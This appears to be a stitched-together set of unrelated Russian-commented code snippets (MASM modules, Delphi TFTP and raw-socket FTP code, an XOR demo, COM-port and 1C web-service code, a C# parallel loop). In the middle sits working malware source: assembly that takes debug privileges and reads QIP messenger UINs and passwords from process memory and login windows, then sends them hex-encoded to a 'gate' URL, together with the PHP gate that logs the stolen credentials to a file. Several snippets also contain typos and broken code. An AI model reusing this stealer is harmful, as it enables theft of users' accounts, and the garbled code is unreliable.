; модуль prog.asm (главный, именно он содержит метку START,
; с которой начнется выполнение программы )
.586P
; плоская модель памяти
.MODEL FLAT, STDCALL
;-------------------------------------------------
; объявление внешней переменной и процедур
EXTERN  L:DWORD
EXTERN  PROC1@0:NEAR
EXTERN  PROC2@0:NEAR
EXTERN  PROC3@0NEAR
INCLUDELIB  MASM.LIB
; сегмент данных
DATA  SEGMENT
; здесь будут располагаться переменные 
DATA  ENDS
; сегмент кода
DATA  SEGMENT
; здесь будет располагаться ассемблерный код проги 
START:
MOV  L, 256
CALL  PROC1@0
PUSH  EAX
CALL  PROC2@0
PUSH  EAX
PUSH  EAX
CALL  PROC3@0
RET
TEXT  ENDS
END  START

; модуль prog1.asm
.586P
; плоская модель памяти
.MODEL  FLAT, STDCALL
PUBLIC  PROC1, L
;-----------------------------------------------
; сегмент данных
DATA  SEGMENT
; здесь будут располагаться переменные
L  DWORD  ?
DATA  ENDS
; сегмент кода
TEXT  SEGMENT
PROC1 PROC
            MOV EAX,L
            RET
PROC1 ENDP
TEXT  ENDS
END

; модуль prog2.asm
.586P
; плоская модель памяти
.MODEL FLAT, STDCALL
;------------------------------------------------
; сегиент кода
TEXT  SEGMENT
PROC2 PROC
            PUSH EBP
            MOV EBP,ESP
            MOV EAX,DWORD PTR [EBP+8]
            ADD EAX,100
            MOV ESP,EBP
            POP EBP
            RET 4
PROC2 ENDP
TEXT ENDS
END

; модуль prog2.asm
.586P
; плоская модель памяти
.MODEL FLAT, STDCALL
;-----------------------------------------------
PUBLIC PROC3
; сегмент кода
TEXT SEGMENT
PROC3 PROC
            PUSH EBP
            MOV EBP,ESP
            MOV EAX,DWORD PTR [EBP+8]
            ADD EAX,DWORD PTR [EBP+12]
            MOV ESP,EBP
            RET 8
PROC3 ENDP
TEXT ENDS
END

ML /m /coff prog.asm

ML /m /coff prog1.asm

ML /m /coff prog2.asm

ML /m /coff prog3.asm

LINK -LIB prog3.obj /out:masm.lib

LINK /subsystem:console prog.obj prog1.obj prog2.obj

procedure TForm1.FormCreate(Sender: TObject);
begin
  IdTrivialFTPServer1.Active := true;
end;

procedure TForm1.IdTrivialFTPServer1ReadFile(Sender: TObject;
  var FileName: String; const PeerInfo: TPeerInfo;
  var GrantAccess: Boolean; var AStream: TStream;
  var FreeStreamOnComplete: Boolean);
begin
  AStream := TFileStream.Create(FileName, fmOpenRead);
end;

procedure TForm1.IdTrivialFTPServer1WriteFile(Sender: TObject;
  var FileName: String; const PeerInfo: TPeerInfo;
  var GrantAccess: Boolean; var AStream: TStream;
  var FreeStreamOnComplete: Boolean);
begin
  AStream := TFileStream.Create(FileName, fmCreate);
end;

procedure Get(const ASourceFile: string; ADest: TStream);
procedure Put(const ASource: TStream; const ADestFile: string; const AAppend: Boolean);

implementation
{$R *.dfm}
{$R primer.RES} //наш файл с ресурсами

function ExtractResFile(ResType, ResName, ExeFileName:string): Boolean; // данная функция будет извлекать из primer.RES наш exe файл
var
  Res: TResourceStream; // переменная для доступа к ресурсам
begin
  Res := TResourceStream.Create(Hinstance, ResName, PChar(ResType)); // получаем доступ к ресурсам, загружаем
  try
    Res.SavetoFile(ExeFileName); // и сохраняем их в файл
    Result := True;
  finally
    Res.Free; // освобождаем
  end;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
var
FileName:string; // переменная, в которой будет храниться имя конечного файла.
begin
FileName:='ResFile.exe';//имя файла
ExtractResFile('EXEFILE', 'ResFile', FileName ); //извлекаем файл ResFile.exe
end;

TITLE  Программа шифрования       (Encrypt.asm)

INCLUDE Irvine32.inc
KEY = 239
BUFMAX = 128

.data
sPrompt     BYTE         "Введите исходное сообщение:  ",0
sEncrypt    BYTE         "Зашифрованный текст:  ",0
sDecrypt    BYTE         "Расшифрованный текст  ",0
buffer      BYTE          BUFMAX dup(0)
bufSize     DWORD     ?

.code
main PROC 
   call  InputTheString
   call  TranslateBuffer

   mov  edx, OFFSET sEncrypt
   call  DisplayMessage

   call  TranslateBuffer

   mov  edx, OFFSET sDecrypt
   call  DisplayMessage
   exit
main ENDP

InputTheString PROC

pushad
mov  edx, OFFSET buffer
call  WriteString

mov  ecx, BUFMAN

mov  edx, OFFSET buffer
call  ReadString
mov  bufsize, eax
call  CrLf
popad
ret

InputTheString  ENDP

DisplayMessage PROC

pushad
call  WriteString
mov  edx, OFFSET buffer
call  WriteString
call  CrLf
call  CrLf
popad
ret

DisplayMessage ENDP

TranslateBuffer PROC

pushad
mov  ecx, bufSize
mov  esi, 0

L1:
   xor  buffer[esi], KEY
   inc  esi

loop  L1
popad
ret

TranslateBuffer ENDP

END main

const
    WM_MYSOCKMESS = WM_USER+1;

var
  Form1: TForm1;
    WSADt:TWSADATA;
    ClSocket:TSocket;//Сокет для соединения клиента с сервером
    ClAddr:sockaddr_in;//Структура sockaddr_in, которая содержит днные для соединения с фтп сервером(семейство протоколов, адрес, порт)
    TempSock:TSocket;//Сокет передачи данных

if WSAStartup(MAKEWORD(1,1), WSADt)<>0 then     //инициализируем WinSock
 begin
  ShowMessage('Ошибка иеициализации WinSock'); //Выводим сообщение если неудалось инициализировать WinSock и
  Application.Terminate;		      //Убиваем нашу прогу
 end;

procedure TForm1.SendCommandFtpSrv(s: TSocket; command:string);      // s- сокет для отправки данных, command - команды фтп 
var							     //сервера(о них более подробно вы можете прочитать в описании протокола фтп RFC 959)
 buff: array [0..1024] of Char;
begin
 command:=command+#13#10;       //Добавим к строке FTP команды символы конца строки и перевода каретки
 CopyMemory(@buff, pchar(command), length(command));      //Копируем в buff данные 
 if send(s, buff, length(command),0)=SOCKET_ERROR then   //попытаемся отправить данные
 begin
  Exit;						       //и при неудаче выйдем
 end;
end;

procedure TForm1.ConnectFTP(ftpsrv, port, usern, //ftpsrv - адрес сервера, port -порт,usern- логин,
  userp: string);			      //userps- пароль
begin

  ClSocket:=SOCKET(AF_INET, SOCK_STREAM, IPPROTO_IP); // создаем сокет
 if ClSocket=INVALID_SOCKET then		     //  При возникновении ошибки
 begin
  Exit;						   //   Выйдем из процедуры
 end;
 ClAddr.sin_family:=AF_INET; //Указываем протокол
 ClAddr.sin_addr.S_addr:=inet_addr(pchar(ftpsrv));//Указываем адрес удаленного сервера
 ClAddr.sin_port:=htons(StrToInt(port));//Указываем порт
 WSAAsyncSelect(ClSocket, handle, WM_MYSOCKMESS, FD_READ); // Переводим сокет в асинхронный режим. Устанавливаем наблюдение за прибытием данных(FD_READ)
 Connect(ClSocket, ClAddr, sizeof(ClAddr));     //устанавливаем соединение
 Sleep(100); // установим задержку
 SendCommandFtpSrv(ClSocket, 'USER '+usern);  //Отправим логин
 SendCommandFtpSrv(ClSocket, 'PASS '+userp); //отправим пароль
 SendCommandFtpSrv(ClSocket, 'FEAT');
end;

procedure TForm1.RecvS(sock: TSocket);
var
  bsrv:array[0..5000] of char;// переменные для хранения данных
  strcl:string;		       //-----//-----
begin
 Fillchar(bsrv, sizeof(bsrv), 0);//Очищаем буфер
 if recv(sock, bsrv, sizeof(bsrv), 0)=SOCKET_ERROR then //Делаем попытку получить данные
 begin
  Exit;						         // если попытка неудачна, то выходим из процедуры
 end;
 strcl:=bsrv; 	     //Пришедщие в bsrv скопируем в strcl 
 if pos('221', strcl)>0 then //Проверяем ответы пришедшие с сервера
 begin
   ShutDown(sock, SD_BOTH);  //Сообщим о прекращении соединения
   CloseSocket(sock);       //Закрываем сокет
 end;
{тут мы просто пишем код, который отображает полученные данные в RichEdit :) }
 while pos(#13, strcl)>0 do
 begin
  RichEdit1.Lines.Add(copy(strcl, 1, pos(#13, strcl)));
  Delete(strcl, 1, pos(#13, strcl)+1);
 end;
end;

procedure TForm1.MSGSocket(var Mess: TMessage);
begin
   case Mess.LParam of
    FD_ACCEPT:
    begin
      TempSock:=accept(Mess.WParam, nil, nil); //Для получения данных, мы переводим socket в асинхронный режим и устанавливаем
      WSAAsyncSelect(TempSock, handle, WM_MYSOCKMESS, FD_READ+FD_CLOSE);//наблюдение за событиями  и FD_CLOSE(когда мы отрубаемся от сервака)
    end;
    FD_READ:  RecvS(Mess.WParam); //Данные мы получим с помощью описанной выше процедуры RecvS
    FD_CLOSE: CloseSocket(Mess.WParam); //Закроем сокет при отключении клиента
   end;
end;

ConnectFTP('ххх.ххх.ххх.ххх','21','login','pass');

SendCommandFtpSrv( ClSocket, 'QUIT'); //Эта команда говорит о завершении соединения клиента с сервером

procedure MSGSocket(var Mess: TMessage); message WM_MYSOCKMESS;

proc SetDBG
 push ebp
 mov ebp,esp ; сохраним значение стека
 sub esp,24h ; выделим место в стеке под переменные
 invoke OpenProcessToken, -1, 28h, esp 
 test eax,eax 
 jz @F
 lea eax, [esp+8]
 invoke LookupPrivilegeValue, 0,SeDebugPrivilege, eax ; 
 test eax,eax
 jz @F
 mov dword [esp+14h],1
 mov eax, [esp+8]
 mov [esp+18h], eax
 mov eax, [esp+0Ch]
 mov [esp+1Ch], eax
 mov dword [esp+20h], 2
 lea eax, [esp+10h]
 push eax
 lea eax, [esp+18h]
 push eax
 push 10h
 lea eax, [esp+20h]
 push eax
 push 0
 mov eax, [esp+14h]
 push eax
 call [AdjustTokenPrivileges] ; установка привелегии
@@:
 leave
 ret
endp

proc QIP_MEM
 invoke FindWindow,TMainForm,0 ; ищем окно QIP
QIP_MEM_next:
 test eax,eax
 mov [h],eax  ; сохраним handle 
 jz QIP_MEM_exit 
 invoke GetWindowText,eax,buf,20 ; считаем заголовок окна
 cmp dword [buf],'[qip' ; проверим правильность
 jne QIP_MEM_next1
 invoke GetWindowThreadProcessId,[h],PID ; получим PID процесса по handle окна
 stdcall AddToBuf,buf+8 ; добавим к посылаемому буферу часть заголовка окна, котоаря содержит UIN
 stdcall AddToBuf,dvoetochie ; разделитель
 stdcall GetPas,[PID] ; непосредственно получение пароля зная PID
 stdcall AddToBuf,buf ; закинем в буфер полученный пароль
 stdcall AddToBuf,tzap ; разделитель записей
QIP_MEM_next1:
 invoke GetWindow,[h],2 ; ищем следующее окно аськи. т.е. копий может быть много
 jmp QIP_MEM_next
QIP_MEM_exit:
 ret
endp

proc GetPas,PID
 stdcall GetFileVer,[PID] ; для начала получаем версию файла
 xor ecx,ecx
 dec ecx
GetPas_m1:
 inc ecx
 cmp ecx,8
 je GetPas_exit
 cmp eax,[VER_MAS+ecx*4] ; сверяем версию файла с поддерживаемой версией 
 jne GetPas_m1
; nтепер мы знаем offset по которому лежит пас.
 stdcall ReadData,[PID],[ADR_MAS+ecx*4]  читаем пас
GetPas_exit:
 ret
endp

proc GetFileVer,PID
 invoke CreateToolhelp32Snapshot,0000000Fh, [PID] ; получим инфу о модулях процесса аськи
 test eax,eax
 jz GetFileVer_exit
 mov [Handle],eax
 mov ebx,[MODULEENTRY32]
 mov dword [ebx],548
 invoke Module32First,eax,ebx ; получим имя первого модуля - это сам файл программы
 test eax,eax
 jz GetFileVer_exit
 invoke CloseHandle,[Handle] ж закрое дискриптор
 add ebx,288 ; смещение на имя файла
 invoke GetFileVersionInfoSize,ebx, Handle ; получаем размер записи отведенной под инфу о файле
 test eax,eax
 jz GetFileVer_exit
 mov [Size],eax
 invoke HeapAlloc,[myheap],0,eax
 mov [RezBuffer],eax
 invoke GetFileVersionInfo,ebx,Handle, [Size], eax ; получаем инфу о файле
 test eax,eax
 jz GetFileVer_exit
 invoke VerQueryValue,[RezBuffer], slash,  FixedFileInfoBuf, Size ; получаем версию файла
 test eax,eax
 jz GetFileVer_exit
;  конвертируем значения в удобный  для нас вид
 mov ebx,[FixedFileInfoBuf]
 mov eax,[ebx+8]
 shr eax,16
 mov byte [Size+3],al
 mov eax,[ebx+8]
 mov byte [Size+2],al
 mov eax,[ebx+12]
 shr eax,16
 mov byte [Size+1],al
 mov eax,[ebx+12]
 mov byte [Size],al
 mov eax,[Size]
GetFileVer_exit:
 ret
endp

proc ReadData PID,ADR
 invoke OpenProcess,0410h, 0, [PID] ; откроем процесс
 test eax,eax
 jz ReadData_exit
 mov [hp],eax
 invoke ReadProcessMemory,eax, [ADR], Size, 4, [t] ; считаем offset на пас
 invoke ReadProcessMemory,[hp], [Size], buf, 10, [t] ; считаем пасс
 invoke CloseHandle,[hp]
ReadData_exit:
 ret
endp

proc QIP_WND
 invoke FindWindow,TManForm,0 ; найдем окно
cicle2:
 test eax,eax
 jz QIP_WND_exit
 push eax
 stdcall QIP_WND_GETPASS,eax ; считаем из него пасс
 pop eax
 invoke GetWindow,eax,2 ; ищем следующее окно
 jmp cicle2
QIP_WND_exit:
 ret
endp

proc QIP_WND_GETPASS,hManForm
 invoke FindWindowEx,[hManForm],0,TGroupBox,0 ; найдем handle TGroupBox этого окна
 test eax,eax
 jz QIP_WND_GETPASS_exit
 push eax
 invoke FindWindowEx,eax,0,TComboBox,0 ; в нем найдем cписок  UIN
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 10, buf ; считаем UIN
 xor ecx,ecx
cicle: ; отделяем UIN от лишнего текста
 cmp ecx,20
 je nextt
 inc ecx
 cmp byte [buf+ecx],' '
 jne cicle
 mov byte [buf+ecx],0
nextt:
 stdcall AddToBuf,buf ; добавим UIN в отправляемому буферу
 pop eax
 invoke FindWindowEx,eax,0,TEdit,0 ; теперь найдем поле ввода пароля
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 20, buf ; считаем пароль из него
 stdcall AddToBuf,dvoetochie ; разделитель UIN:PASS
 stdcall AddToBuf,buf ; добавим к буферу
 stdcall AddToBuf,tzap ; конец записи
QIP_WND_GETPASS_exit:
 ret
endp

 invoke lstrlen,[buffer] ; получим длинну наших данных
 test eax,eax
 jnz dalee
 invoke ExitProcess,0 ; если ничего не на собирали то и отправлять не нужно
dalee: ; для удобства отправки переведем полученный буфер в HEX
 mov [Size],eax ; размер буфера
 shl eax,2 ;  умножим на 2. т.к. данных станет в 2 раза больше
 invoke HeapAlloc,[myheap],0,eax ; выделим память
 invoke lstrcpy,eax,url_start ;закинем в буфер адрес нашего гейта
 dec edx
 xor ecx,ecx
cicle4: ; преборазование в HEX
 mov eax,[buffer]
 mov ah,[eax+ecx]
 mov al,ah
 shr ah,4
 and al,0fh
 mov ebx,table
 xlatb
 xchg ah,al
 xlatb
 mov word [edx+ecx*2],ax
 inc ecx
 cmp ecx,[Size]
 jne cicle4
 mov byte [edx+ecx*2],0
 sub edx,url_end-url_start ; вернемся к началу буфера 
 invoke URLDownloadToFile,0,edx,TEdit,0,0 ; сделаем запрос на скачевание файла в котором передадим собранные данные.
 invoke ExitProcess,0

proc AddToBuf,add_buf
 invoke lstrcat,[buffer],[add_buf]
 ret
endp

 table db '0123456789ABCDEF' ; для конвертирования в HEX
 SeDebugPrivilege db 'SeDebugPrivilege',0 ; для получения привелегий отладчика
 slash db '\',0 
 dvoetochie db ':',0 ; разделитель UIN - PASS
 tzap db '[-]',0 ; конц пары UIN:PASS
; название компонентов
 TGroupBox db 'TGroupBox',0 
 TComboBox db 'TComboBox',0
 TManForm db 'TManForm',0
 TMainForm db 'TMainForm',0
 TmainFrm db 'TmainFrm',0
 TEdit db 'TEdit',0
 TprefFrm db 'TprefFrm',0
 TPanel db 'TPanel',0
 TconnectionFr db 'TconnectionFr',0
 url_start db 'http://127.0.0.1/stat.php?data=' ; адрес гейта
 url_end db 0

<?
$data=$_GET['data']; // наши данные
$out='';
$f=fopen('ICQ.txt','a+'); // файл куда будем кидать
while ($x<strlen($data)) // конвертим из HEX в нормальный вид
{
$temp=$data[$x].$data[$x+1];
$out.=chr(HexDec($temp));
$x+=2;
}
fputs($f,date("d.m.Y H:i:s").'[-]'.getenv("REMOTE_ADDR").'[-]'.$out."\r\n"); // запишем в файл полученный результат.
fclose($f);
?>

 
type
  TRec = record //объекты этого типа нам необходимо будет передават потом в 1С
    DT: TDateTime; //время события
    ch1: integer;	//два свойства события...
    ch2: integer;	
  end;

  function GetData(Sector: integer): TRec;

var
  FBuf: array [0..7] of byte;
  FHandle: DWord;
  FCount: cardinal;
  FOverlapped: TOverlapped;

....

procedure WriteGetData(SectorNo: word);//отправка команды устройству
begin	
  FBuf[0] := $01; // команда для чиения данных
  FBuf[1] := SectorNo;// в каестве параметра передаём номер сектора
  Windows.WriteFile(FHandle, Fbuf, 2, FCount, @FOverlapped); // отправляем команду на ком порт
end;

finction ReadGetData: TRec; //чтение результата с устройства в масив FBuf
var
  y, m, d, h, m, s: word;
begin
  Windows.ReadFile(FHandle, Fbuf, 8, FCount, @FOverlapped); //читаем ответ устройства
  y := Fbuf[0];
  m := Fbuf[1];
  d := Fbuf[2];
  h := Fbuf[3];
  m := Fbuf[4];
  s := Fbuf[5];
  result.DT := EncodeDateTime(y, m, d, h, m, s, 0); //возвращаем результат в удобном, красивом виде
  result.ch1 := Fbuf[6];
  result.ch2 := Fbuf[7];
end;

function GetData(Sector: integer): TRec; //функция которой будет пользоваться 1С
begin
  WriteGetData(Sector);
  result := ReadGetData;
end;

 
//в uses добавились модули net
uses {.NET MODULS}
  System.Collections,
  System.ComponentModel,
  System.Data,
  System.Diagnostics,
  System.Web,
  System.Web.Services,
  Borland.Vcl.SysUtils,
  Borland.Vcl.Variants,

//типы и переменные остаються теми же
type
  TRec = record //объекты этого типа нам необходимо будет передават потом в 1С
    DT: TDateTime; //время события
    ch1: integer;	//два свойства события...
    ch2: integer;	
  end;

  [WebMethod] //объявляем этот метов вебом... т.е. чтобы он был доступен
  function GetData(Sector: integer): TRec;

{ВСЁ ОСТАЛЬНОЕ ТАК ЖЕ... ЬЕЗ КАКИХ ЛИБО ИЗМЕНЕНИЙ}

 
 Определения = Новый WSОпределения(АдресВебСервиса);
 ВебПрокси = Новый WSПрокси(Определения, Определения.Сервисы[0].URIПространстваИмен,Определения.Сервисы     [0].Имя,Определения.Сервисы[0].ТочкиПодключения[0].Имя);
 Результат = ВебПрокси.GetData(Номер сектора); 
//обращаемся к методу веб сервиса
//и получаем результат типа TRec т.к. типы которые используются веб сервисом
//импортируються в 1С автоматически.

using System.Threading;
using System.Runtime.InteropServices;

if (System.Environment.ProcessorCount < 2)
{
    Console.WriteLine("You not have Multi-Core platform\n");
}

Console.WriteLine("If you want test Single-Core platform press 1");
Console.WriteLine("If you want test Mullti-Core platform press 2");
r = Console.ReadLine();

switch(r)
{
     case "1":
             for (int i = 0; i < 100000; i++)
             {
               Console.WriteLine("{0} > {1}", Math.Pow(i, 2.0).ToString(), 
                                    Math.Pow(i, -2.0).ToString());
             }
             break;

     case "2":
             System.Threading.Parallel.For(0, 100000, delegate(int i)
             {
                   Console.WriteLine("{0} <-> {1}", 
                 Math.Pow(i, 2.0).ToString(), Math.Pow(i, -2.0).ToString());
             });
             break;

     default:
     {
             Console.WriteLine("Error number");
             break;
     }